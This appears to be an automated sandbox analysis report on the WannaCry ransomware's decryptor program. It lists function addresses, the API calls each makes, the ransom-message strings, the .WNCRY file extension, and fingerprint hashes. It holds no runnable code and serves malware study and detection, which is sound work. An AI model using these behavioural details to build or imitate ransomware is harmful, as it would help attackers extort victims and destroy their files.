                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$_strnicmp$#6136#823#825
                                                                                                                          • String ID: <http://$<https://$T
                                                                                                                          • API String ID: 1228111698-1216084165
                                                                                                                          • Opcode ID: a8745025101c1dadafff8754fd537557dcaff0dcf95e176bdf0ae332b77355fc
                                                                                                                          • Instruction ID: 32e461136b03d60599108953de6477053a568cccd29e118696d71e5d9ed076ef
                                                                                                                          • Opcode Fuzzy Hash: a8745025101c1dadafff8754fd537557dcaff0dcf95e176bdf0ae332b77355fc
                                                                                                                          • Instruction Fuzzy Hash: 7E31D6B52043509BD320CF18CC41FABB7E4BB98704F044A3EF98AD7281E678D95987D9
                                                                                                                          Function 00402560 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 81fileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: File$Delete_wcsicmp$Movewcscatwcscpywcsrchr
                                                                                                                          • String ID: .WNCRY$.WNCYR$.org
                                                                                                                          • API String ID: 1016768320-4283512309
                                                                                                                          • Opcode ID: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                                                                                                          • Instruction ID: 8e688c7c8c2018b5eb76f9bfe5eaf8fc18d5300b1d9ff01e022ce9e0f1e53e02
                                                                                                                          • Opcode Fuzzy Hash: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                                                                                                          • Instruction Fuzzy Hash: 29219576240301ABD220DB15FE49BEB7799DBD4711F44483BF901A2280EB7DD90987BE
                                                                                                                          Function 00413102 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 801014965-0
                                                                                                                          • Opcode ID: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                                                                                                          • Instruction ID: fcecf6e401754473f6225594f41014142e7d5ca2867d00c097f2044c16acc313
                                                                                                                          • Opcode Fuzzy Hash: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                                                                                                          • Instruction Fuzzy Hash: F9419F71940308EFCB20DFA4DC45AE97BB9EB09711B20016FF855972A1D7788A81CB6C
                                                                                                                          Function 00404280 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #6663.MFC42(mailto:,00000000,?), ref: 004042AC
                                                                                                                          • GetParent.USER32(?), ref: 004042BB
                                                                                                                          • #2864.MFC42(00000000), ref: 004042C2
                                                                                                                          • SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
                                                                                                                          • #2379.MFC42 ref: 004042DD
                                                                                                                            • Part of subcall function 00404530: #289.MFC42 ref: 0040455F
                                                                                                                            • Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                                                                                                            • Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                                                                                                            • Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                                                                                                            • Part of subcall function 00404530: #613.MFC42 ref: 004045BB
                                                                                                                          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
                                                                                                                          • #2379.MFC42(?), ref: 004042FF
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379#5789$#2864#289#613#6663ExecuteExtentMessageParentPoint32SendShellText
                                                                                                                          • String ID: mailto:$open
                                                                                                                          • API String ID: 1144735033-2326261162
                                                                                                                          • Opcode ID: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                                                                                                          • Instruction ID: 92cf742add8d60ef6c93fe1e72e53283c618a6078d8cf76be364cef0d5edaefa
                                                                                                                          • Opcode Fuzzy Hash: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                                                                                                          • Instruction Fuzzy Hash: AC0175753003106BD624A761ED46FEF7369AFD4B55F40046FFA41A72C1EAB8A8428A6C
                                                                                                                          Function 0040BAF0 Relevance: 15.3, APIs: 10, Instructions: 301stringsleepCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • strtok.MSVCRT(?,00421520,00000000,00000000), ref: 0040BBA9
                                                                                                                          • strtok.MSVCRT(00000000,00421520,00000000,00000000), ref: 0040BC22
                                                                                                                          • #825.MFC42(?,?), ref: 0040BCDD
                                                                                                                          • GetTickCount.KERNEL32 ref: 0040BCEC
                                                                                                                          • srand.MSVCRT ref: 0040BCF3
                                                                                                                          • rand.MSVCRT ref: 0040BD09
                                                                                                                          • #825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
                                                                                                                          • Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5
                                                                                                                          • #825.MFC42(?,?,?,?), ref: 0040BDED
                                                                                                                            • Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5
                                                                                                                          • #825.MFC42(?), ref: 0040BE7A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825$strtok$CountSleepTickrandsrand
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1749417438-0
                                                                                                                          • Opcode ID: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                                                                                                          • Instruction ID: 15ce6157e9eadcb8372a8ba3d428bceb52ebc69e02ab62c17c692bc1e2f98a80
                                                                                                                          • Opcode Fuzzy Hash: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                                                                                                          • Instruction Fuzzy Hash: 48A102716082059BC724DF34C841AABB7D4EF95314F044A3EF99AA73D1EB78D908C79A
                                                                                                                          Function 004038F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84windowCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                                                                                                            • Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                                                                                                            • Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                                                                                                          • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
                                                                                                                          • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
                                                                                                                          • sprintf.MSVCRT ref: 0040397A
                                                                                                                          • #1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8
                                                                                                                            • Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
                                                                                                                            • Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
                                                                                                                            • Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
                                                                                                                            • Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                                                                                                          • CloseHandle.KERNEL32(?,00000001), ref: 004039F1
                                                                                                                          Strings
                                                                                                                          • %08X.dky, xrefs: 00403969
                                                                                                                          • All your files have been decrypted!, xrefs: 004039C3
                                                                                                                          • Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2642#3092$MessageSend$#1200CloseDiskDriveDrivesFreeHandleLogicalSpaceTypefopensprintf
                                                                                                                          • String ID: %08X.dky$All your files have been decrypted!$Pay now, if you want to decrypt ALL your files!
                                                                                                                          • API String ID: 139182656-2046724789
                                                                                                                          • Opcode ID: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                                                                                                          • Instruction ID: fac117d1ea4493994a32f15f907d1e0ff38d66192023d423f75a73c990ecb755
                                                                                                                          • Opcode Fuzzy Hash: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                                                                                                          • Instruction Fuzzy Hash: 1921E670344701ABD220EF25CC02FAB7B98AB84B15F10463EF659A72D0DBBCA5058B9D
                                                                                                                          Function 00404090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
                                                                                                                          • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
                                                                                                                          • #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
                                                                                                                          • #860.MFC42(00421798), ref: 004040F6
                                                                                                                          • #858.MFC42(00000000,00421798), ref: 004040FE
                                                                                                                          • LoadCursorA.USER32(00000000,00007F89), ref: 00404118
                                                                                                                          • LoadCursorA.USER32(00000000,00007F00), ref: 00404123
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #540CursorLoad$#567#858#860
                                                                                                                          • String ID: 0ZA
                                                                                                                          • API String ID: 2440951079-2594568282
                                                                                                                          • Opcode ID: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                                                                                                          • Instruction ID: e4089f7d30d89e223e5e607c52669a324e752666537a285565f49de8eb968109
                                                                                                                          • Opcode Fuzzy Hash: 16eebf364e087f87632c2e7a7835be7f4f2429e092200a979286dc3c7585418b
                                                                                                                          • Instruction Fuzzy Hash: 20119071244B909FC320DF1AC941B9AFBE8BBC5704F80492EE18693741C7FDA4488B99
                                                                                                                          Function 00407CB0 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                                                                                                            • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                                                                                                            • Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                                                                                                          • #2514.MFC42 ref: 00407CE5
                                                                                                                          • #2414.MFC42 ref: 00407D1A
                                                                                                                          • #2414.MFC42 ref: 00407D4F
                                                                                                                          • #616.MFC42 ref: 00407D6E
                                                                                                                          • #693.MFC42 ref: 00407D7F
                                                                                                                          • #641.MFC42 ref: 00407D93
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414#567$#2514#324#616#641#693
                                                                                                                          • String ID: [A$[A
                                                                                                                          • API String ID: 3779294304-353784214
                                                                                                                          • Opcode ID: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                                                                                                          • Instruction ID: 921579082029cd8bb4f4eae6bba3465eb1c6e4c5ad01fea5c96a88f9cf2edf1e
                                                                                                                          • Opcode Fuzzy Hash: 8cb0ee6c83bcfaf23f1674bf443e371668351bddcb93b585418f44b11fe32095
                                                                                                                          • Instruction Fuzzy Hash: B511A7B404D7C1CBD334DF14C255BEEBBE4BBA4714F40891EA5D947681EBB81188CA57
                                                                                                                          Function 0040C240 Relevance: 13.7, APIs: 9, Instructions: 195windowfileCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
                                                                                                                          • SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
                                                                                                                          • SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
                                                                                                                          • SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
                                                                                                                          • SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
                                                                                                                          • fopen.MSVCRT ref: 0040C46B
                                                                                                                          • fwrite.MSVCRT ref: 0040C489
                                                                                                                          • fclose.MSVCRT ref: 0040C48F
                                                                                                                          • SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#823fclosefopenfwrite
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1132507536-0
                                                                                                                          • Opcode ID: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                                                                                                          • Instruction ID: 95d53ca3448e84e776e95c4e63a8e9d5249152c92c36a986718404cc297984b8
                                                                                                                          • Opcode Fuzzy Hash: 8015c574444b46ea95aa7a5c372928425bf19f7a7df4c5ec4de0add245179140
                                                                                                                          • Instruction Fuzzy Hash: F171F471204341EBD220DF51CC85FABB7E8FF88714F004B2EB6546B2D1CA78A909C79A
                                                                                                                          Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00401AE3
                                                                                                                          • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401AFB
                                                                                                                          • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
                                                                                                                          • GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B31
                                                                                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 00401B38
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                                          • String ID: D
                                                                                                                          • API String ID: 786732093-2746444292
                                                                                                                          • Opcode ID: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                                                                                                          • Instruction ID: a0d0216a4cd299e90b964b762458f17e6b97ac91bf96c8f45188d14ebb685e04
                                                                                                                          • Opcode Fuzzy Hash: 8373994cf4ca8ab825e0652bf8987f65ecb589941da35eb0d7e9f8387e0e63d6
                                                                                                                          • Instruction Fuzzy Hash: 4611F7B1618311AFD310CF69C884A9BBBE9EFC8750F50892EF598D2260D774D844CBA6
                                                                                                                          Function 00401140 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49windowtimethreadCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #4710.MFC42 ref: 00401145
                                                                                                                          • SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
                                                                                                                          • SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
                                                                                                                          • #537.MFC42(Connecting to server...), ref: 0040118D
                                                                                                                            • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                                                                                                            • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                                                                                                            • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                                                                                                          • SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
                                                                                                                          • CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1
                                                                                                                          Strings
                                                                                                                          • Connecting to server..., xrefs: 00401188
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: MessageSend$#3092#4710#537#6199#800CreateThreadTimer
                                                                                                                          • String ID: Connecting to server...
                                                                                                                          • API String ID: 3305248171-1849848738
                                                                                                                          • Opcode ID: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                                                                                                          • Instruction ID: 074e0af6858d04fd3a88c2e6ba563778cf6a67133e9310fa302bc50ac74eac6c
                                                                                                                          • Opcode Fuzzy Hash: aade00bc90c5f3efc1f806a2182fbe742cea5c73be26a938389ce35b89292200
                                                                                                                          • Instruction Fuzzy Hash: 480175B0390700BBE2305B66CC46F8BB694AF84B50F10851EF349AA2D0CAF474018B99
                                                                                                                          Function 00402F10 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • ?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F76
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 00402FAD
                                                                                                                          • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 00402FBA
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00402FC2
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402FF9
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 0040303A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2613176527-0
                                                                                                                          • Opcode ID: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                                                                                                          • Instruction ID: fd0731f71cda593906caa3e5dc22cd8926dd74a2c181b66db9bbc309a642df48
                                                                                                                          • Opcode Fuzzy Hash: 8ce352b19e6a2730b7c76d5054ffee361a812e6060838c656af55f7e3134e3cb
                                                                                                                          • Instruction Fuzzy Hash: 9B41F431300B01CFC720DF19C984AAAFBB6FBC5711B50896EE45A87790DB39A841CB58
